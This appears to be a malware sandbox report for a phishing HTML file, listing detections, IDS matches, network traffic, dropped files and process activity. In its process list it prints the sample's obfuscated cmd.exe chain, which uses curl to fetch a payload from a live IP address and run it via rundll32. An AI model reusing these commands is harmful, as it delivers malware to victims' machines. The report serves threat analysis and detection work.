56db0c4842a63234ab7fe2dda6eeb63aa7bb68f9a456985b519122f74dea37e2

Sign in | Sign up

25 / 63

Community Score -9

25/63 security vendors flagged this file as malicious

Reanalyze | Similar | More

56db0c4842a63234ab7fe2dda6eeb63aa7bb68f9a456985…
56db0c4842a63234ab7fe2dda6eeb63aa7bb68f9a456985…

Size 290.05 KB

Last Analysis Date 9 days ago

HTML

html | checks-user-input | contains-embedded-js | detect-debug-environment | long-sleeps

DETECTION | DETAILS | RELATIONS | BEHAVIOR | COMMUNITY 4

Display grouped sandbox reports

CAPE San… ⚠ 0 | 2 | 0 | 0 | 0 | 0

Zenbox ⚠ 4 | 6 | 4 | 0 | 7 | 20

Activity Summary

Download Artifacts | Full Reports | Help

⚠ 4 Detections
1 MALWARE | 1 PHISHING | 1 TROJAN | 1 EVADER

Mitre Signatures
3 LOW | 37 INFO

IDS Rules
1 HIGH | 1 MEDIUM | 2 LOW

Sigma Rules
NOT FOUND

Dropped Files
1 TEXT | 1 ZIP

Network comms
1 HTTP | 10 DNS | 8 IP | 1 JA3

Behavior Tags
checks-user-input | detect-debug-environment | long-sleeps

Dynamic Analysis Sandbox Detections
⚠ The sandbox Zenbox flags this file as: MALWARE PHISHING TROJAN EVADER

MITRE ATT&CK Tactics and Techniques
- Execution TA0002
- Defense Evasion TA0005
- Credential Access TA0006
- Discovery TA0007
- Collection TA0009
- Command and Control TA0011

Crowdsourced IDS rules
⚠ Matches rule POLICY-OTHER HTTP request by IPv4 address attempt at Snort registered user ruleset
↳ *policy-violation*

⚠ Matches rule ET POLICY curl User-Agent Outbound at Proofpoint Emerging Threats Open
↳ *Attempted Information Leak*

⚠ Matches rule ET HUNTING curl User-Agent to Dotted Quad at Proofpoint Emerging Threats Open

↳ *Potentially Bad Traffic*

Network Communication

+ GET http://64.176.193.25/i1DQR/Mulad 404

DNS Resolutions

+ ajax.googleapis.com
+ clientservices.googleapis.com
+ edgedl.me.gvt1.com
- erihnoy.local
- lenqbdpxvtssqar.local

IP Traffic

- UDP 239.255.255.250:1900
- TCP 142.251.31.84:443
- TCP 108.177.126.101:443
- TCP 64.176.193.25:80
- TCP 74.125.128.94:443 (clientservices.googleapis.com)
- TCP 173.194.79.95:443 (ajax.googleapis.com)
- TCP 142.251.31.94:443 (www.gstatic.com)
- TCP 108.177.126.94:443 (update.googleapis.com)

JA3 Digests

- cd08e31494f9531f560d64c695473da9

Memory Pattern Domains

- 64.176.193.25
- ac.economia.gob.mx
- acedicom.edicomgroup.com
- acraiz.icpbrasil.gov.br
- ca.disig.sk
- ca.mtin.es
- ca2.mtin.es
- cdn-ops.verloop.io
- cdnjs.cloudflare.com
- cert.ssl.com

Memory Pattern Urls

- http://64.176.193.25/i1DQR/Mulad-oC:
- http://64.176.193.25/i1DQR/Mulade
- http://ac.economia.gob.mx/last.crl0G
- http://acedicom.edicomgroup.com/doc0
- http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?
- http://ca.disig.sk/ca/crl/ca_disig.crl0
- http://ca.mtin.es/mtin/DPCyPoliticas0
- http://ca.mtin.es/mtin/ocsp0
- http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0
- http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q

Behavior Similarity Hashes

Files Opened

- C:\$RECYCLE.BIN\S-1-5-21-1015118539-3749460369-599379286-1001
- C:\$RECYCLE.BIN\S-1-5-21-1015118539-3749460369-599379286-1001\desktop.ini
- C:\Program Files (x86)\AutoIt3\
- C:\Program Files (x86)\Common Files\Oracle\Java\javapath\
- C:\Program Files\
- C:\Program Files\Common Files\System\wab32.dll
- C:\Program Files\Google\
- C:\Program Files\Google\Chrome\Application
- C:\Program Files\Google\Chrome\Application\92.0.4515.159
- C:\Program Files\Google\Chrome\Application\92.0.4515.159\

Files Written

- C:\Program Files\Google\Chrome\Application\SetupMetrics\6ac3aa6d-bdfd-4ddf-90f8-798e606550b8.tmp
- C:\Users\user\AppData\Local\Microsoft\Windows\Caches
- C:\Users\user\AppData\Local\Temp\100zijo2.rnh
- C:\Users\user\AppData\Local\Temp\100zijo2.rnh\expedita.js
- C:\Users\user\AppData\Local\Temp\chrome_installer.log
- C:\Users\user\AppData\Local\Temp\unarchiver.log
- C:\Users\user\AppData\Local\Temp\zPS.sct
- C:\Users\user\AppData\Roaming
- C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations
- C:\Users\user\Downloads\1073bf6e-a061-4b16-80c3-ae2ddff38515.tmp

Files Deleted

- C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-63985F7E-1B2C.pma
- C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-654226C9-8F4.pma
- C:\Users\user\AppData\Local\Google\Chrome\User Data\CrashpadMetrics.pma
- C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.old~RF62f8e.TMP
- C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.old~RF6300b.TMP
- C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\LOG.old~RF6300b.TMP
- C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.old~RF624e0.TMP
- C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old~RF625da.TMP
- C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek
- C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0

Files Dropped

- C:\Users\user\AppData\Local\Temp\100zijo2.rnh\expedita.js
- C:\Users\user\AppData\Local\Temp\chrome_installer.log
- C:\Users\user\AppData\Local\Temp\unarchiver.log
- C:\Users\user\Downloads\1073bf6e-a061-4b16-80c3-ae2ddff38515.tmp
- C:\Users\user\Downloads\bw.zip (copy)
- C:\Users\user\Downloads\bw.zip.crdownload (copy)
- \Device\ConDrv

Registry actions

Registry Keys Opened

- HKEY_CLASSES_ROOT\JSFile\ScriptEngine

HKEY_CURRENT_USER\Software\Classes\AppID\wscript.exe
HKEY_CURRENT_USER\Software\Classes\JScript
HKEY_CURRENT_USER\Software\Classes\TypeLib
HKEY_CURRENT_USER\Software\Classes\TypeLib\{28854DE7-2CF8-4A60-A85A-C21184D76BB6}
HKEY_CURRENT_USER\Software\Microsoft\Office
HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings

Registry Keys Set

+ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings
+ HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache\C:\Windows\System32\WScript.exe.ApplicationCompany
+ HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache\C:\Windows\System32\WScript.exe.FriendlyAppName
+ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\743AF0529BD032A0F44A83CDD4BAA97B7C2EC49A\Blob
+ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB\Blob

Process and service actions

Processes Created

"C:\Program Files\Google\Chrome\Application\92.0.4515.159\Installer\setup.exe" --reenable-autoupdates --channel=stable --system-level --verbose-logging
"C:\Program Files\Google\Chrome\Application\92.0.4515.159\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=92.0.4515.159 --initial-client-data=0x26c,0x270,0x274,0x22c,0x278,0x7ff7ff761ee0,0x7ff7ff761ef0,0x7ff7ff761f00
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,8256303883476860295,7830465787471303612,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Atn.html
C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\100zijo2.rnh" "C:\Users\user\Downloads\bw.zip
C:\Windows\SysWOW64\PING.EXE piNg -n 2 zPS
C:\Windows\SysWOW64\PING.EXE piNg zPS
C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c zPS || eCHO zPS & piNg zPS || curl http://64.176.193.25/i1DQR/Mulad -o %TMp%\zPS.sct & piNg -n 2 zPS || rundLl32 %tMP%\zPS.sct, Crash & exIT ZZFI7L5XFOre5po
C:\Windows\SysWOW64\cmd.exe cmd.exe" /C "C:\Users\user\AppData\Local\Temp\100zijo2.rnh\expedita.js
C:\Windows\SysWOW64\curl.exe curl http://64.176.193.25/i1DQR/Mulad -o C:\Users\user\AppData\Local\Temp\zPS.sct

Processes Terminated

C:\Program Files\Google\Chrome\Application\92.0.4515.159\Installer\setup.exe
C:\Windows\SysWOW64\7za.exe
C:\Windows\SysWOW64\PING.EXE
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\curl.exe
C:\Windows\SysWOW64\unarchiver.exe
C:\Windows\SysWOW64\wscript.exe
unknown

Processes Tree

2556 - "C:\Windows\system32\wscript.exe" "C:\Users\<USER>\AppData\Local\Temp\tmpdcj6lnhq.js"
476 - C:\Windows\system32\services.exe
↳ 592 - C:\Windows\system32\svchost.exe -k DcomLaunch
↳ 2860 - C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}

↳ 5508 - "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,8256303883476860295,7830465787471303612,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 /prefetch:8

↳ 908 - C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\bw.zip

↳ 5360 - C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\100zijo2.rnh" "C:\Users\user\Downloads\bw.zip

Synchronization mechanisms & Signals

Mutexes Opened

Global\ClickToRunPackageLocker

Mutexes Created

\Sessions\1\BaseNamedObjects\Global\SyncRootManager
\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex
\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex

Modules loaded

Runtime Modules

ADVAPI32.DLL
API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL
API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL
API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL
BCRYPT.DLL
BCRYPTPRIMITIVES.DLL
C2R32.DLL
CLBCATQ.DLL
CRYPTBASE.DLL

Highlighted actions

Calls Highlighted

AcquireSRWLockExclusive
AreFileApisANSI
CloseThreadpoolTimer
CloseThreadpoolWait
CloseThreadpoolWork
CoCreateInstance
CompareStringEx
CreateActCtxA
CreateActCtxW
CreateEventExW